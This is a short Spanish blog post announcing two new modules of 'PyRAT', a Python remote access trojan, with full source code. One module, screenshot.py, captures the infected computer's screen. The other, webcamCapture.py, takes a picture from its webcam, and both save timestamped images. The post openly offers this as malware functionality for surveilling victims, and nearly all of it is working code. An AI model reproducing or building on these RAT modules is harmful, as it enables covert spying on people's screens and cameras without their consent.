PyRAT - Screenshot y Webcam Capture

15:43 0 Comments A+ a-


Un nuevo avance de este prometedor RAT multiplataforma desarrollado en Python, acaba de salir a la luz. El mismo esta siendo programado por WhiZ, un usuario de Underc0de.
El día de hoy dos nuevas funciones fueron lanzadas al publico, las cuales consisten en capturar la pantalla y la webcam de la PC infectada.

screenshot.py

    #!/usr/bin/env python
    #-*- encoding:utf-8 -*-
    # screenshot.py
     
    from PyQt4.QtGui import QApplication, QPixmap
    from os import environ, mkdir, listdir
    from sys import argv
    from time import strftime, gmtime
     
    class Screenshot(object):
            def __init__(self):  
                    self.usuario = environ['USER']
                    if not 'screenshot' in listdir('./'):
                            mkdir('screenshot')
     
            def capturarPantalla(self):
                    time = strftime("%d %b %Y_%H:%M:%S", gmtime())
                    imagen = './screenshot/' + self.usuario + '_' + time + '.png'
     
                    app = QApplication(argv)
                    winId = QApplication.desktop().winId()
                    width = QApplication.desktop().screenGeometry().width()
                    height = QApplication.desktop().screenGeometry().height()
     
                    captura = QPixmap.grabWindow(winId, 0, 0, width, height)
     
                    captura.save(imagen)
     
    def main():
            ss = Screenshot()
            ss.capturarPantalla()
     
    if __name__ == '__main__':
            main()
webcamCapture.py


    #!/usr/bin/env python
    #-*- encoding:utf-8 -*-
    # webcamCapture.py
     
    from pygame.image import save
    import pygame.camera as camera
    from os import environ, mkdir, listdir
    from time import strftime, gmtime
     
    class WebcamCapture(object):
            def __init__(self):
     
                    camera.init()
                    misWebcams = camera.list_cameras()
     
                    if len(misWebcams) == 0:
                            raise Exception('No hay webcam disponible.')
                            exit()
     
                    elif len(misWebcams) == 1:
                            self.miWebcam = misWebcams[0]
     
                    else:
                            for i in range(len(misWebcams)):
                                    try:
                                            self.miWebcam = misWebcams[i]
                                            break
                                    except:
                                            continue
     
            def capturar(self):
                    try:
                            webcam = camera.Camera(self.miWebcam,(640,480))
                            webcam.start()
     
                            self.captura = webcam.get_image()
                           
                            webcam.stop()
                    except Exception as e:
                            print e
     
            def guardarCaptura(self):
                    self.usuario = environ['USER']
     
                    if not 'webcam' in listdir('./'):
                            mkdir('webcam')
     
                    tiempo = strftime("%d %b %Y_%H:%M:%S", gmtime())
                    imagen = './webcam/' + self.usuario + '_' + tiempo + '.png'
     
                    save(self.captura, imagen)
     
    def main():
            wcCapture = WebcamCapture()
            wcCapture.capturar()
            wcCapture.guardarCaptura()
     
    if __name__ == '__main__':
            main()